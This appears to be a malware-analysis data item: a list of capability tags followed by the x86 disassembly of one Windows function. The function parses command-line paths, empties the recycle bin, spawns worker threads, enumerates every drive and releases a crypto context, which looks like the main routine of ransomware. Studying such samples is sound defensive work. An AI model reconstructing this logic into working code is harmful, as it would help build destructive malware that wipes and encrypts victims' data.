Function at 0x417880
Capabilities:
Accept command line arguments
Create thread
Empty the recycle bin
Get disk information
Get system information on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
call fcn.00422d50
call fcn.00425cf0
call fcn.00411740
call fcn.00411500
mov dword [0x448180], eax
cmp dword [0x448180], 0
je 0x417f97
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 0x18], eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
push 0x403f54
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00411680
add esp, 0xc
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
je 0x417919
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp - 0x44]
mov dword [ecx + 0x447130], edx
mov eax, dword [ebp - 0x44]
push eax
call fcn.004118c0
add esp, 4
mov dword [0x448178], 1
push 0x403f60
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.004115a0
add esp, 0xc
movzx eax, al
test eax, eax
je 0x41793c
mov byte [0x44817c], 1
push 0x403f6c
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.004115a0
add esp, 0xc
movzx eax, al
test eax, eax
je 0x41795f
mov byte [0x44817d], 1
push 0x403f70
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00411680
add esp, 0xc
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
je 0x4179b8
mov byte [0x44817d], 1
push 0x403f74
mov eax, dword [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x4179a0
mov dword [ebp - 0x5c], 0x7fffffff
jmp 0x4179af
mov ecx, dword [ebp - 0x48]
push ecx
call fcn.004309ff
add esp, 4
mov dword [ebp - 0x5c], eax
mov edx, dword [ebp - 0x5c]
mov dword [0x4471d8], edx
push 0x418d30
mov eax, dword [0x4471d8]
push eax
push 0x403f80
movzx ecx, byte [0x44817d]
push ecx
push 0x403f94
movzx edx, byte [0x44817c]
push edx
push 0x403fac
push 0x448608
call fcn.00418060
add esp, 8
mov ecx, eax
call fcn.0041a150
push eax
call fcn.00418060
add esp, 8
mov ecx, eax
call fcn.0041a150
push eax
call fcn.00418060
add esp, 8
mov ecx, eax
call fcn.00419fa0
mov ecx, eax
call fcn.0041a130
call fcn.004111f0
call fcn.00411430
call fcn.00411150
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
lea eax, [ebp - 0x98]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x64], ecx
mov edx, dword [ebp - 0x64]
shl edx, 2
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
shr eax, 1
mov dword [ebp - 8], eax
imul ecx, dword [ebp - 0x4c], 6
push ecx
push 0x448118
call fcn.00425dc0
add esp, 8
imul edx, dword [ebp - 8], 3
push edx
push 0x448148
call fcn.00425dc0
add esp, 8
mov eax, dword [ebp - 8]
shl eax, 2
push eax
call fcn.00425d70
add esp, 4
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 8]
shl ecx, 2
push ecx
call fcn.00425d70
add esp, 4
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x20], 0
je 0x417f68
cmp dword [ebp - 0x24], 0
je 0x417f68
mov edx, dword [ebp - 8]
shl edx, 2
push edx
push 0
mov eax, dword [ebp - 0x20]
push eax
call fcn.00425d00
add esp, 0xc
mov ecx, dword [ebp - 8]
shl ecx, 2
push ecx
push 0
mov edx, dword [ebp - 0x24]
push edx
call fcn.00425d00
add esp, 0xc
cmp dword [0x4471d8], 0
jle 0x417aff
mov eax, dword [ebp - 0x4c]
push eax
push 0x403fc4
call fcn.00411780
add esp, 8
mov dword [ebp - 0x28], 0
jmp 0x417b11
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x28]
cmp edx, dword [ebp - 8]
jae 0x417b57
push 0
push 0
push 1
push 0x417340
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x20]
mov dword [edx + ecx*4], eax
push 0
push 0
push 0
push 0x417340
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
mov dword [edx + ecx*4], eax
jmp 0x417b08
push 0x403ffc
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.00411680
add esp, 0xc
mov dword [ebp - 0x10], eax
push 0x40400c
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x14]
push eax
call fcn.00411680
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x10], 0
je 0x417c51
push 0x404018
call fcn.00411780
add esp, 4
mov dword [ebp - 0x30], 1
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x2c], 0
jmp 0x417bc4
mov edx, dword [ebp - 0x2c]
add edx, 1
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x68]
jge 0x417bf2
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x10]
movzx eax, word [edx + ecx*2]
cmp eax, 0x2c
jne 0x417bf0
xor ecx, ecx
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
mov word [eax + edx*2], cx
mov ecx, dword [ebp - 0x30]
add ecx, 1
mov dword [ebp - 0x30], ecx
jmp 0x417bbb
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
call fcn.00425d70
add esp, 4
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x50]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp - 0x50]
push eax
call fcn.004175a0
add esp, 4
mov ecx, dword [ebp - 0x50]
push ecx
call fcn.00425da0
add esp, 4
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x30]
sub eax, 1
mov dword [ebp - 0x30], eax
jne 0x417bf2
cmp dword [ebp - 0xc], 0
je 0x417d5c
push 0x404040
call fcn.00411780
add esp, 4
mov dword [ebp - 0x38], 1
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x34], 0
jmp 0x417c8e
mov edx, dword [ebp - 0x34]
add edx, 1
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x6c]
jge 0x417cbc
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0xc]
movzx eax, word [edx + ecx*2]
cmp eax, 0x2c
jne 0x417cba
xor ecx, ecx
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0xc]
mov word [eax + edx*2], cx
mov ecx, dword [ebp - 0x38]
add ecx, 1
mov dword [ebp - 0x38], ecx
jmp 0x417c85
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
call fcn.00425d70
add esp, 4
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 2
jne 0x417d21
mov ecx, 2
shl ecx, 0
mov edx, dword [ebp - 0x1c]
movzx eax, word [edx + ecx]
cmp eax, 0x3a
jne 0x417d21
mov ecx, 2
imul edx, ecx, 0
mov eax, dword [ebp - 0x1c]
movzx ecx, word [eax + edx]
push ecx
call fcn.00417760
add esp, 4
jmp 0x417d2d
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00417320
add esp, 4
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00425da0
add esp, 4
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [ebp - 0xc]
lea eax, [edx + eax*2 + 2]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x38]
sub ecx, 1
mov dword [ebp - 0x38], ecx
jne 0x417cbc
cmp dword [ebp - 0xc], 0
jne 0x417e91
cmp dword [ebp - 0x10], 0
jne 0x417e91
push 0x404064
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x417d97
push 0x404084
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
jmp 0x417da1
jmp 0x417e91
mov dword [ebp - 0x60], 0
push 0x4040a4
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x14]
push eax
call fcn.004115a0
add esp, 0xc
movzx ecx, al
cmp ecx, 1
jne 0x417dde
mov edx, dword [0x4471d8]
mov dword [ebp - 0x70], edx
mov eax, dword [ebp - 0x70]
push eax
mov ecx, dword [ebp - 0x60]
push ecx
call fcn.00417430
add esp, 8
call fcn.00410f20
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
je 0x417e5c
mov edx, 0x41
mov word [ebp - 4], dx
jmp 0x417e09
mov ax, word [ebp - 4]
add ax, 1
mov word [ebp - 4], ax
movzx ecx, word [ebp - 4]
cmp ecx, 0x5a
jg 0x417e5c
mov edx, dword [ebp - 0x3c]
and edx, 1
push edx
movzx eax, word [ebp - 4]
push eax
push 0x4040d8
call fcn.00411780
add esp, 0xc
mov ecx, dword [ebp - 0x3c]
and ecx, 1
je 0x417e52
movzx edx, word [ebp - 4]
push edx
push 0x4040ac
call fcn.00411780
add esp, 8
movzx eax, word [ebp - 4]
push eax
call fcn.00417760
add esp, 4
mov ecx, dword [ebp - 0x3c]
shr ecx, 1
mov dword [ebp - 0x3c], ecx
jmp 0x417dfd
push 0x404118
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x14]
push eax
call fcn.004115a0
add esp, 0xc
movzx ecx, al
test ecx, ecx
jne 0x417e91
mov edx, dword [0x4471d8]
mov dword [ebp - 0x74], edx
mov eax, dword [ebp - 0x74]
push eax
mov ecx, dword [ebp - 0x60]
push ecx
call fcn.00417430
add esp, 8
mov dword [ebp - 0x54], 0
jmp 0x417ea3
mov edx, dword [ebp - 0x54]
add edx, 1
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 8]
jae 0x417ebe
push 1
push 0
push 0x448148
call fcn.00425ee0
add esp, 0xc
jmp 0x417e9a
push 0xffffffffffffffff
push 1
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x58], 0
jmp 0x417ee2
mov eax, dword [ebp - 0x58]
add eax, 1
mov dword [ebp - 0x58], eax
mov ecx, dword [ebp - 0x58]
cmp ecx, dword [ebp - 8]
jae 0x417efd
push 1
push 0
push 0x448118
call fcn.00425ee0
add esp, 0xc
jmp 0x417ed9
push 0xffffffffffffffff
push 1
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call fcn.00411150
mov dword [ebp - 0x40], 0
jmp 0x417f26
mov ecx, dword [ebp - 0x40]
add ecx, 1
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x40]
cmp edx, dword [ebp - 8]
jae 0x417f50
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + eax*4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ecx + eax*4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x417f1d
mov eax, dword [ebp - 0x20]
push eax
call fcn.00425da0
add esp, 4
mov ecx, dword [ebp - 0x24]
push ecx
call fcn.00425da0
add esp, 4
cmp dword [0x448178], 0
je 0x417f76
call fcn.004118f0
push 0x404120
call fcn.00411780
add esp, 4
call fcn.00411760
push 0
mov edx, dword [0x448180]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]